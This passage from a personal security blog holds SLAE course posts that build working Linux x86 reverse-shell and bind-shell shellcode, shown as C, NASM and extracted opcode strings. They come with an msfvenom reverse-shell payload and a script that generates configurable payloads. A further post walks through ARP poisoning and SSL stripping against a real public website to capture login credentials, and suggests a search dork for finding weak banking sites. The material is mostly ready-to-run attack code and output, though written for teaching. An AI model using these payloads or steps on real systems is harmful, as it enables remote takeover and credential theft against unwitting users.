        jmp eax

Replacing the egg hunter in our shellcode_heap.c with the above egg hunter shellcode, compiling and executing provides:

# gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  && ./shellcode_heap
Egg hunter shellcode Length:  34
Egg shellcode Length:  74
# id  
uid=0(root) gid=0(root) groups=0(root)
# 

You can try with any egg shellcode you want and set it just after the EGG variable. Let’s try with a TCP reverse shellcode:

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c -b \x00
...
unsigned char buf[] = 
"\xbb\x6d\xed\x21\x01\xdb\xcf\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x12\x31\x5a\x12\x83\xea\xfc\x03\x37\xe3\xc3\xf4\xf6\x20\xf4"
"\x14\xab\x95\xa8\xb0\x49\x93\xae\xf5\x2b\x6e\xb0\x65\xea\xc0"
"\x8e\x44\x8c\x68\x88\xaf\xe4\x15\x6a\x50\xf5\x81\x68\x50\xe4"
"\x0d\xe4\xb1\xb6\xc8\xa6\x60\xe5\xa7\x44\x0a\xe8\x05\xca\x5e"
"\x82\xfb\xe4\x2d\x3a\x6c\xd4\xfe\xd8\x05\xa3\xe2\x4e\x85\x3a"
"\x05\xde\x22\xf0\x46";

Let’s compile and execute shellcode_heap.c:

# gcc -fno-stack-protector -z execstack -o shellcode_heap shellcode_heap.c  && ./shellcode_heap
Egg hunter shellcode Length:  34
Egg shellcode Length:  99

In another windows:

So in this article we just saw how to create a two-staged shellcode. One stage consists in injecting our effective payload (the biggest one) and the second one consists in a small hunter shellcode looking for the first one.

Hope you enjoyed,
Don’t hesitate to comment and share.

Phackt

SLAE Assignment 2 - TCP Reverse Shellcode

2017-04-19T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Hello everybody,

So here we are for the second part of our shellcodes serie. Today we will deal with a reverse TCP shellcode.
This shellcode will be pretty similar to the bind one, except that we will connect back to the attacker’s machine in order to provide a shell on the compromised one.

So let’s see what changed.

Assignment 2:

Code is available on my github repo.

Our Goal:

Create a Shell_Reverse_TCP shellcode:

reverse connects to IP and PORT and spawns a shell

easily configurable IP and PORT

Here is the C source code we used:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
        int clientfd, sockfd, ret;
        int dstport = 8080;
        struct sockaddr_in mysockaddr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport); //8080
        mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
 
        // connecting to attacker's machine
        ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
        if(ret == -1)
        {
                perror("Attacker's machine is not listening. Quitting!");
                exit(-1);
        }

        dup2(sockfd, 0);
        dup2(sockfd, 1);
        dup2(sockfd, 2);
 
        execve("/bin/sh", NULL, NULL);
        return 0;
}

Let’s listen on port 8080:

ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080

Let’s connect:

# gcc -fno-stack-protector -z execstack -o shell_reverse_tcp shell_reverse_tcp.c && ./shell_reverse_tcp

And we have:

ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38488.
id
uid=0(root) gid=0(root) groups=0(root)

So what are the interesting functions:

objdump -d ./shell_reverse_tcp -M intel
...
80485d2: e8 79 fe ff ff call 8048450 <connect@plt>
...

So we have:

socket
connect
dup2
execve

Let’s update our previous shellcode to match our new needs:

; shell_bind_tcp.nasm
; 
; A TCP port bind shellcode
;
; Author: SLAE - 891
;
; You are free to use and/or redistribute it without restriction

global  _start

section .text
_start:

; sockfd = socket(AF_INET, SOCK_STREAM, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_SOCKET        1
    xor ebx,ebx
    mul ebx         ; zero out eax and edx
    mov al, 102     ; __NR_socketcall
    mov bl, 1       ; SYS_SOCKET
    
    ; we are pushing on the stack our arguments
    push edx        ; IPPROTO_IP
    push byte 1     ; SOCK_STREAM
    push byte 2     ; AF_INET
    
    mov ecx, esp    ; the top of the stack points to a structure of 3 arguments
    int 0x80        ; syscall - result is stored in eax
    mov edi, eax    ; stores sockfd

; ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_CONNECT       3
    
    push edx
    mov byte [esp], 0x7f    ; mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
    mov byte [esp+3], 0x01  ; useful to avoid null bytes in the IP address

    push word 0x901f  ; mysockaddr.sin_port = htons(dstport); //8080
    push word 2     ; AF_INET
    mov ebx, esp    ; stores the address of mysockaddr
    push byte 16    ; length of mysockaddr
    push ebx        ; pointer to mysockaddr
    push edi        ; sockfd

    xor ebx, ebx    ; flushing registers
    mul ebx
    mov al, 102     ; __NR_socketcall
    mov bl, 3       ; SYS_CONNECT
    mov ecx, esp    ; pointer to the args for socketcall
    int 0x80



; int dup2(int oldfd, int newfd); duplicates a file descriptor
; dup2(sockfd, 0); 
; dup2(sockfd, 1);
; dup2(sockfd, 2);
; #define __NR_dup2 63

    mov ebx, edi    ; sockfd as first argument
    xor ecx, ecx
    mov cl, 2       ; 2 for stderr / 1 for stdout / 0 for stdin
    xor eax, eax

dup2:
    mov al, 63      ; __NR_dup2
    int 0x80
    dec ecx
    jns dup2        ; jump short if not signed 

; execve("/bin/sh", NULL, NULL);
; #define __NR_execve 11

    xor eax,eax
    push eax
    push 0x68732f2f ; hs// - take care to the little endian representation
    push 0x6e69622f ; nib/
    mov ebx, esp    ; pointer to command string
    mov ecx, eax
    mov edx, eax
    mov al, 11      ; __NR_execve
    int 0x80

Let’s compile, run and see if we are receiving our connection back:

Perfect, and what about the bad characters:

objdump -d ./shell_reverse_tcp -M intel| grep 00

Nothing, good. Let’s update our wrapper.sh script and create our shell_reverse_tcp.template file. Please click and check the sources on Github.

The wrapper.sh and the template file have been enhanced in order to avoid null bytes in port number and IP address:

#! /bin/bash

#####################################
# Displays help
#####################################
function help(){
    echo "Usage: $0 <ip> <port_number> <file>"
    exit 1
}

#####################################
# Checking is root
#####################################

if [ $# -ne 3 ]; then
    help
fi

IP=$1
PORT=$2
FILE=$3

##############################
# Checking the port number
##############################

if [ ${PORT} -lt 1 ] || [ ${PORT} -gt 65535 ]; then
	echo "[*] Port number should be between 1 and 65535! Exiting..."
	exit
fi

# Converting port in hex and little endian representation
HEXFMTPORT=`printf "%04x" ${PORT}`
HEXFMTPORT1=$([ $((16#${HEXFMTPORT:0:2})) -ne 0 ] && echo 0x${HEXFMTPORT:0:2} || echo dl)
HEXFMTPORT2=$([ $((16#${HEXFMTPORT: -2})) -ne 0 ] && echo 0x${HEXFMTPORT: -2}	 || echo dl)

# final nasm filename
NASM_FILENAME=${FILE%.*}.nasm

########################
# Splitting IP address
########################
IP1=`echo ${IP} | cut -d. -f1`
IP2=`echo ${IP} | cut -d. -f2`
IP3=`echo ${IP} | cut -d. -f3`
IP4=`echo ${IP} | cut -d. -f4`

# Converting IP in hex and little endian representation
HEXFMTIP1=$([ ${IP1} -ne 0 ] && echo `printf "0x%x" ${IP1}` || echo dl)
HEXFMTIP2=$([ ${IP2} -ne 0 ] && echo `printf "0x%x" ${IP2}` || echo dl)
HEXFMTIP3=$([ ${IP3} -ne 0 ] && echo `printf "0x%x" ${IP3}` || echo dl)
HEXFMTIP4=$([ ${IP4} -ne 0 ] && echo `printf "0x%x" ${IP4}` || echo dl)

# for debugging purpose
echo "----------------------------"
echo "[*] HEXFMTPORT:${HEXFMTPORT}"
echo "[*] HEXFMTPORT1:${HEXFMTPORT1}"
echo "[*] HEXFMTPORT2:${HEXFMTPORT2}"
echo "[*] HEXFMTIP1:${HEXFMTIP1}"
echo "[*] HEXFMTIP2:${HEXFMTIP2}"
echo "[*] HEXFMTIP3:${HEXFMTIP3}"
echo "[*] HEXFMTIP4:${HEXFMTIP4}"
echo "----------------------------"
echo

# Replacing port and ip patterns
# Generating a new file source and compiling
sed "s/PORT1/${HEXFMTPORT1}/" ${FILE} > ${NASM_FILENAME} && \
sed -i "s/PORT2/${HEXFMTPORT2}/" ${NASM_FILENAME} && \
sed -i "s/IP1/${HEXFMTIP1}/" ${NASM_FILENAME} && \
sed -i "s/IP2/${HEXFMTIP2}/" ${NASM_FILENAME} && \
sed -i "s/IP3/${HEXFMTIP3}/" ${NASM_FILENAME} && \
sed -i "s/IP4/${HEXFMTIP4}/" ${NASM_FILENAME} && \
./compile.sh ${FILE%.*} && \
objdump -d ${FILE%.*}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Trying with a port (2048 = 0x0800) and IP (127.0.0.1) which are generating some null bytes provides the following:

./wrapper.sh 127.0.0.1 2048 ./shell_reverse_tcp.template 
----------------------------
[*] HEXFMTPORT:0800
[*] HEXFMTPORT1:0x08
[*] HEXFMTPORT2:dl
[*] HEXFMTIP1:0x7f
[*] HEXFMTIP2:dl
[*] HEXFMTIP3:dl
[*] HEXFMTIP4:0x1
----------------------------

[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\xc6\x04\x24\x7f\x88\x54\x24\x01\x88\x54\x24\x02\xc6\x44\x24\x03\x01\x66\x52\xc6\x04\x24\x08\x88\x54\x24\x01\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xfb\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Here is the interesting part in our template:

...
    push edx
    mov byte [esp], IP1    ; useful to avoid null bytes with parametrized IP
    mov byte [esp+1], IP2  ; If 00 will be replaced by dl
    mov byte [esp+2], IP3     
    mov byte [esp+3], IP4

    push dx                  ; useful to avoid null bytes with parametrized port
    mov byte [esp], PORT1    ; mysockaddr.sin_port = htons(dstport); //8080
    mov byte [esp+1], PORT2 
...

And have a look at the result shell_reverse_tcp.nasm file:

...
    push edx
    mov byte [esp], 0x7f    ; useful to avoid null bytes with parametrized IP
    mov byte [esp+1], dl  ; If 00 will be replaced by dl
    mov byte [esp+2], dl     
    mov byte [esp+3], 0x1

    push dx                  ; useful to avoid null bytes with parametrized port
    mov byte [esp], 0x08    ; mysockaddr.sin_port = htons(dstport); //8080
    mov byte [esp+1], dl 
...

We are pushing the dl byte register in replacement of a null byte.

So now let’s confirm that the generated nasm source file leads to a working shellcode once compiled thanks to shellcode.c:

# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode 
Shellcode Length: 106

And here we are:

So now we can parametrize the port number, the IP address, and you can generate a TCP reverse shellcode without any null bytes.

Hope you enjoyed,
Don’t hesitate to comment and share.

Phackt

SLAE Assignment 1 - TCP Bind Shellcode

2017-04-13T00:00:00+00:00

Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Hello everybody,

Here we are for a new set of posts dealing with the exam of the great course Assembly Language and Shellcoding on Linux. Thanks to Vivek Ramachandran and his team for all of this work.

For information, the SLAE course has been performed on a 32bits Kali environment:

# uname -a
Linux kali 4.6.0-kali1-686 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux

We recommend to run the commands on a 32bits environment. Otherwise you should adapt them:

nasm -f elf32 -o $1.o $1.nasm
ld -m elf_i386 -o $1 $1.o
gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c

So let’s rumble!

Assignment 1:

Code is available on my github repo.

Our Goal:

Create a Shell_Bind_TCP shellcode:

binds to a port that should be easily configurable

executes shell on incoming connection

easily configure the listening port

If we want to create a TCP Bind shellcode from scratch, what are our options?:

1) The lazy one; creating a shellcode thanks to msfvenom

msfvenom -p linux/x86/shell_bind_tcp LPORT=8080 EXITFUNC=THREAD -f raw | ndisasm -u -

But it is quite too easy.

2) Creating our own ELF thanks to a C program that will help to understand how the final shellcode will work.

We will choose this last option.

Here is our C source code:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
        int clientfd, sockfd;
        int dstport = 8080;
        struct sockaddr_in mysockaddr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport); //8080
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0
 
        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
 
        listen(sockfd, 0);
 
        clientfd = accept(sockfd, NULL, NULL);
 
        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);
 
        execve("/bin/sh", NULL, NULL);
        return 0;
}

Let’s test it:

gcc -fno-stack-protector -z execstack -ggdb -o shell-bind-tcp shell-bind-tcp.c
./shell-bind-tcp

From another shell:

The objdump -d ./shell-bind-tcp -M intel produces a huge amount of assembly code.
Something good to notice is that our ELF has been dynamically linked:

The ELF is using the .plt and .got sections in order to dynamically address the interesting functions.
These functions are LIBC functions:

We will need to translate these function calls into system calls. Let’s focus on the following functions:

socket
bind
listen
accept
dup2
execve

Let’s have a look in /usr/include/i386-linux-gnu/asm/unistd_32.h:

#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

What is the syscall socketcall?

man 2 socketcall

SOCKETCALL(2)                                             Linux Programmer's Manual                                            SOCKETCALL(2)

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a  common  kernel  entry point for the socket system calls.  call determines which socket function to invoke.  args
       points to a block containing the actual arguments, which are passed through to the appropriate call.

       User programs should call the appropriate functions by their usual names.  Only standard library implementors and kernel hackers need
       to know about socketcall().
...

Let’s check the different values of the first int call argument:

grep SYS_ /usr/include/linux/net.h 
#define SYS_SOCKET   1             /* sys_socket(2)            */
#define SYS_BIND     2             /* sys_bind(2)              */
#define SYS_CONNECT  3             /* sys_connect(2)           */
#define SYS_LISTEN   4             /* sys_listen(2)            */
#define SYS_ACCEPT   5             /* sys_accept(2)            */
#define SYS_GETSOCKNAME     6      /* sys_getsockname(2)       */
#define SYS_GETPEERNAME     7      /* sys_getpeername(2)       */
#define SYS_SOCKETPAIR      8      /* sys_socketpair(2)        */
#define SYS_SEND     9             /* sys_send(2)              */
#define SYS_RECV     10            /* sys_recv(2)              */
#define SYS_SENDTO   11            /* sys_sendto(2)            */
#define SYS_RECVFROM 12            /* sys_recvfrom(2)          */
#define SYS_SHUTDOWN 13            /* sys_shutdown(2)          */
#define SYS_SETSOCKOPT      14     /* sys_setsockopt(2)        */
#define SYS_GETSOCKOPT      15     /* sys_getsockopt(2)        */
#define SYS_SENDMSG  16            /* sys_sendmsg(2)           */
#define SYS_RECVMSG  17            /* sys_recvmsg(2)           */
#define SYS_ACCEPT4  18            /* sys_accept4(2)           */
#define SYS_RECVMMSG 19            /* sys_recvmmsg(2)          */
#define SYS_SENDMMSG 20            /* sys_sendmmsg(2)          */

So let’s dive into our shellcode:

; shell_bind_tcp.nasm
; 
; A TCP port bind shellcode
;
; Author: SLAE - 891
;
; You are free to use and/or redistribute it without restriction

global _start

section       .text
_start:

; sockfd = socket(AF_INET, SOCK_STREAM, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_SOCKET        1
       xor ebx,ebx
       mul ebx              ; zero out eax and edx
       mov al, 102          ; __NR_socketcall
       mov bl, 1            ; SYS_SOCKET
       
       ; we are pushing on the stack our arguments
       push edx             ; IPPROTO_IP
       push byte 1          ; SOCK_STREAM
       push byte 2          ; AF_INET
       
       mov ecx, esp         ; the top of the stack points to a structure of 3 arguments
       int 0x80             ; syscall - result is stored in eax
       mov edi, eax         ; stores sockfd

; bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_BIND                 2
       push edx             ; mysockaddr.sin_addr.s_addr = INADDR_ANY; //0 - listen on 0.0.0.0 (all interfaces)
       push word 0x901f     ; mysockaddr.sin_port = htons(dstport); //8080
       push word 2          ; AF_INET
       mov ebx, esp         ; stores the address of mysockaddr
       push byte 16         ; length of mysockaddr
       push ebx             ; pointer to mysockaddr
       push edi             ; sockfd

       xor ebx, ebx         ; flushing registers
       mul ebx
       mov al, 102          ; __NR_socketcall
       mov bl, 2            ; SYS_BIND
       mov ecx, esp         ; pointer to the args for socketcall
       int 0x80


; listen(sockfd, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_LISTEN        4
       push edx             ; 0
       push edi             ; sockfd
       xor ebx, ebx         ; flushing registers
       mul ebx
       mov al, 102          ; __NR_socketcall
       mov bl, 4            ; SYS_LISTEN
       mov ecx, esp         ; pointer to the args for socketcall
       int 0x80 


; clientfd = accept(sockfd, NULL, NULL);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall   102
; #define SYS_ACCEPT        5
       xor ebx, ebx         ; flushing registers
       mul ebx

       push edx             ; NULL
       push edx             ; NULL
       push edi             ; sockfd

       mov al, 102          ; __NR_socketcall
       mov bl, 5            ; SYS_ACCEPT
       mov ecx, esp         ; pointer to args
       int 0x80             ; returns clientfd file descriptor in eax

; int dup2(int oldfd, int newfd); duplicates a file descriptor
; dup2(clientfd, 0); 
; dup2(clientfd, 1);
; dup2(clientfd, 2);
; #define __NR_dup2 63

       mov ebx, eax         ; clientfd as first argument
       xor ecx, ecx
       mov cl, 2            ; 2 for stderr / 1 for stdout / 0 for stdin
       xor eax, eax

dup2:
       mov al, 63           ; __NR_dup2
       int 0x80
       dec ecx
       jns dup2             ; jump short if not signed 

; execve("/bin/sh", NULL, NULL);
; #define __NR_execve 11

       xor eax,eax
       push eax
       push 0x68732f2f      ; hs// - take care to the little endian representation
       push 0x6e69622f      ; nib/
       mov ebx, esp         ; pointer to command string
       mov ecx, eax
       mov edx, eax
       mov al, 11           ; __NR_execve
       int 0x80

Let’s compile with the compile.sh script:

./compile.sh shell_bind_tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Let’s run shell_bind_tcp and try to connect from another shell:

What we have to take care in shellcodes are bad characters. Each compromised application will lead to its own set of bad characters that we will need to avoid in the shellcode part of the exploit.
Right now let’s check that our shellcode do not contain null bytes:

objdump -d shell_bind_tcp -M intel | grep 00

Great, no null bytes. Let’s dump our shellcode:

objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x66\x68\x1f\x90\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb\xf7\xe3\x52\x52\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Let’s execute it in shellcode.c:

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode

Then from another shell:

One easy way to customize the listening port is to set a pattern in the source file and to generate the shellcode thanks to a wrapper script.
We are creating a shell_bind_tcp.template and updating the following part:
push word 0x901f becomes push word PORT.

Now we will use the wrapper.sh script:

./wrapper.sh
Usage: ./wrapper.sh <port_number> <pattern> <file>

./wrapper.sh 8080 PORT ./shell_bind_tcp.template 
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x66\x68\x1f\x90\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb\xf7\xe3\x52\x52\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

So now we can parametrize the port number and generate a TCP port binding shellcode.

Hope you enjoyed,
Thanks a lot and as i’m used to saying, do not hesitate to comment and share.

Phackt

MITM Part 2 - Hands on with MITM and HTTPS

2017-03-27T00:00:00+00:00

Hi everybody,

I already wrote some articles talking about the importance of implementing the HTTP Strict Transport Security (HSTS) and to secure all the webpages, even the landing page.

Why all the pages should be secure ?

Because all the trafic should be hidden from prying eyes. If an attacker could interfer with only one page, several options are available to him. He can strip all secure headers, redirect trafic, change web page content, force HTTP trafic, and so on.
Every case is different but keep in mind that if the victim is able to generate a plain HTTP request (http://website.com), the attacker can control all the trafic.

However, if a ressource has been cached with HSTS, the browser will automatically do an internal redirect (Code 307).
It is important to notice that the Strict-Transport-Security header will be cached if it is legitimate, i mean if the header is first saw by the browser on a HTTP response over TLS/SSL and if the certificate is valid (signed by a browser trusted CA). I checked on Chrome and Firefox this behavior. I saw on websites the Strict-Transport-Security set on plain HTTP responses, but the browser won’t redirect if the above conditions are not met.

But what if HSTS has never been cached ? so we will be able to fool a victim an maintain an plain text connection as we will see (we won’t deal with any certificate faking here.

In our example we will do a MITM attack between a Kali VM and the french social welfare website. You can find so many other websites, even some online bank websites to reproduce the attack.
MITM attacks still succeed if you are not protected with some soft/hardware dropping unsolicited ARP responses (RFC 826).

So stop talking, go for the show:

We have here a non-secure HTTP landing page. What happens if we click on “Mon compte ameli” in order to log in ?

So we have a secure login page. What about the response headers ?

Another check:

root@kali:/tmp$ nmap -p 443 --script http-hsts-verify assure.ameli.fr 
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-27 20:08 CEST
Nmap scan report for assure.ameli.fr (93.174.145.36)
Host is up (0.016s latency).
PORT    STATE SERVICE
443/tcp open  https
| http-hsts-verify: 
|_  HSTS is not configured.

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

I created a wrapper script to manage all the tools involved in the MITM attack. My advice is to run it on a Kali machine. However it will automatically download the web proxy that we will use (Mitmproxy).

root@kali:/tmp$ git clone https://github.com/phackt/mitm.git && cd ./mitm
Clonage dans 'mitm'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (34/34), done.
remote: Total 49 (delta 15), reused 35 (delta 9), pack-reused 0
Dépaquetage des objets: 100% (49/49), fait.
root@kali:/tmp/mitm$ sudo ./mitm.sh
Usage: ./mitm.sh [-g] [-n] [-s] [-x] [-j] <js payload url> [-d] [-i] <interface> gateway_ip target_ip
       [-g] interactive mode for mitmproxy
       [-n] capture HTTP traffic
       [-s] capture HTTPS traffic
       [-x] stripping https
       [-j] inject js payload
       [-d] dnsspoof + setoolkit
       [-i] interface

We are almost ready for our mitm attack. We will specify the interactive mode (mitmproxy GUI), the capture HTTP traffic mode only (not faking certificates) and we will apply our custom sslstrip.py script.

If you check the bin folder, you will find these tools:

arpoison.sh to automate ARP poisoning
chk_poison.py which will check if an ARP poisoning is successful

First let’s check the ips:

root@kali:/tmp/mitm# route -n
Table de routage IP du noyau
Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    600    0        0 wlan0
root@kali:/tmp/mitm# nmap -sn 192.168.1.1/24
...
Nmap scan report for kali.home (192.168.1.19)
Host is up (0.00012s latency).
...

Now run mitm.sh

root@kali:/tmp/mitm# ./mitm.sh -g -n -x -i wlan0 192.168.1.1 192.168.1.19
INTERACTIVE_MODE On
HTTP_INTERCEPTION On
HTTPS_STRIPPING On

Installing mitmproxy v1, please wait...

--2017-03-27 20:49:08--  https://github.com/mitmproxy/mitmproxy/releases/download/v1.0/mitmproxy-1.0.0post1-linux.tar.gz
Résolution de github.com (github.com)… 192.30.253.113, 192.30.253.112
Connexion à github.com (github.com)|192.30.253.113|:443… connecté.
requête HTTP transmise, en attente de la réponse… 302 Found
Emplacement : https://github-cloud.s3.amazonaws.com/releases/519832/3dcda87e-cbe7-11e6-90f5-73a30be85192.gz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20170327%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20170327T194852Z&X-Amz-Expires=300&X-Amz-Signature=584985dd5837498f44b588a4bd9f6378f1e12783e75b6dc2ec1acca2772da86f&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3Dmitmproxy-1.0.0post1-linux.tar.gz&response-content-type=application%2Foctet-stream [suivant]
--2017-03-27 20:49:08--  https://github-cloud.s3.amazonaws.com/releases/519832/3dcda87e-cbe7-11e6-90f5-73a30be85192.gz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20170327%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20170327T194852Z&X-Amz-Expires=300&X-Amz-Signature=584985dd5837498f44b588a4bd9f6378f1e12783e75b6dc2ec1acca2772da86f&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3Dmitmproxy-1.0.0post1-linux.tar.gz&response-content-type=application%2Foctet-stream
Résolution de github-cloud.s3.amazonaws.com (github-cloud.s3.amazonaws.com)… 54.231.114.227
Connexion à github-cloud.s3.amazonaws.com (github-cloud.s3.amazonaws.com)|54.231.114.227|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 70081542 (67M) [application/octet-stream]
Sauvegarde en : « /tmp/mitm/mitmproxy/mitmproxy.tar »

/tmp/mitm/mitmproxy/mitmproxy.tar     100%[=======================================================================>]  66,83M  4,94MB/s    in 14s     

2017-03-27 20:49:23 (4,82 MB/s) — « /tmp/mitm/mitmproxy/mitmproxy.tar » sauvegardé [70081542/70081542]

mitmproxy
mitmdump
mitmweb

Installation done.

Flushing iptables...
Setting configuration...
No poisoning between 192.168.1.1 -> 192.168.1.19
Do you want to force poisoning? [Yn]:Y
Trying DHCP REQUEST to poison 192.168.1.1...
no answer
Poisoning successful!!!

chk_poison.py can try to force poisoning (works on Orange Livebox) by sending a spoofed DHCP request. The router will automatically generate ARP request after that and will legitimate our spoofed ARP responses.

So now we are definitely ready to intercept the trafic.

Now imagine that the victim is surfing on http://www.ameli.fr.

We see the trafic passing through the attacker machine.
From the victim’s point of view, everything seems transparent… but notice a detail:

https://assure.ameli.fr became http://assure.ameli.fr.
Our script will know that it will have to replay the secure connection on the other side. Now when our victim wants to access the login page:

Everything seems ok, except…. Where is the green padlock ???
So here we are, sslstrip.py has done its job, switching every https links into http, deleting every secure headers (HSTS too, so if not cached, the attack will succeed). The script will remind what domains need SSL/TLS and replay the connections in a secure manner with the destination website.

So we have Victim <- HTTP -> Attacker (Mitmproxy) <- HTTPS -> Website. We can now intercept all the trafic in clear.

Don’t be impatient, the victim will log in a few seconds.

In our proxy we can see the post request. Let’s check the details:

Credentials have been stolen.
And from our victim, is this transparent ?:

A lot of people will not notice that the connection is not secure (except you infosec ninjas) and will keep on surfing. So since you are clicking on http://banksite.com, if HSTS has not been cached for the domain banksite.com (best to use the preload list), you can keep plain connection because our proxy will strip the redirection to https://banksite.com into http://banksite.com and will act as we just seen above.

Is it really much more expensive to have all the pages secure ? HSTS is also just one header in the response and can easily be added. Companies should also think to have their domain in the preload list in order to perform a 307 internal redirect from the very first request. Here is the HSTS preload list submission form.
Finally we can not talk here about vulnerability, but more as a lack of responsability.

You also can play with the other options of mitm.sh:

Usage: ./mitm.sh [-g] [-n] [-s] [-x] [-j] <js payload url> [-d] [-i] <interface> gateway_ip target_ip
       [-g] interactive mode for mitmproxy
       [-n] capture HTTP traffic
       [-s] capture HTTPS traffic
       [-x] stripping https
       [-j] inject js payload
       [-d] dnsspoof + setoolkit
       [-i] interface

You should try this kind of Google Dork: -inurl:https online banking (log OR logon OR login OR account)

I sincerely hope you enjoyed this post as i liked to do it.
Feel free to comment if you have any question, or if you find other cool domains.

Phackt.

References:

Format String avec GDB

2017-02-28T00:00:00+00:00

Bonjour à tous,

